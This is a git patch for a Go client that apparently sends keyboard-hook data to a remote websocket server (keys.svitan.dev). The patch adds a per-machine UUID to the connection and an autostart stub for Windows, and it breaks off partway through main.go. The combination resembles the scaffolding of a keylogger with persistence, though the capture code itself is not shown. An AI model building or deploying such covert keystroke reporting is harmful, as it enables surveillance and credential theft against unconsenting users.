From b955fec1adb4099e6dc94b84bfc9babd67a85dab Mon Sep 17 00:00:00 2001 From: Daniel Svitan Date: Tue, 13 May 2025 13:59:07 +0200 Subject: [PATCH] :construction: Adds id to websocket call --- client/config.go | 9 +++++++++ client/go.mod | 1 + client/go.sum | 2 ++ client/main.go | 12 +++++++++--- 4 files changed, 21 insertions(+), 3 deletions(-) create mode 100644 client/config.go diff --git a/client/config.go b/client/config.go new file mode 100644 index 0000000..75d0ccb --- /dev/null +++ b/client/config.go @@ -0,0 +1,9 @@ +package main + +import "github.com/google/uuid" + +func getId() uuid.UUID { + return uuid.New() +} + +func registerAutostart() {} diff --git a/client/go.mod b/client/go.mod index 4b28a0a..7526276 100644 --- a/client/go.mod +++ b/client/go.mod @@ -3,6 +3,7 @@ module svitan.dev/keys/client go 1.24.1 require ( + github.com/google/uuid v1.6.0 github.com/gorilla/websocket v1.5.3 github.com/robotn/gohook v0.42.0 ) diff --git a/client/go.sum b/client/go.sum index 9e4f028..cc88ea6 100644 --- a/client/go.sum +++ b/client/go.sum @@ -1,3 +1,5 @@ +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg= diff --git a/client/main.go b/client/main.go index 7a39236..100e0cc 100644 --- a/client/main.go +++ b/client/main.go @@ -1,8 +1,10 @@ package main import ( + "fmt" "net/url" "os" + "runtime" "time" "github.com/gorilla/websocket" @@ -19,14 +21,18 @@ const ( REG_END = 255 ) -var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"} - func main() { + var id = getId() + if runtime.GOOS == "windows" { + registerAutostart() + } + + var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)} var conn *websocket.Conn var err error var tries = 0 for { - conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil) + conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil) if err != nil { tries += 1 if tries >= 3 {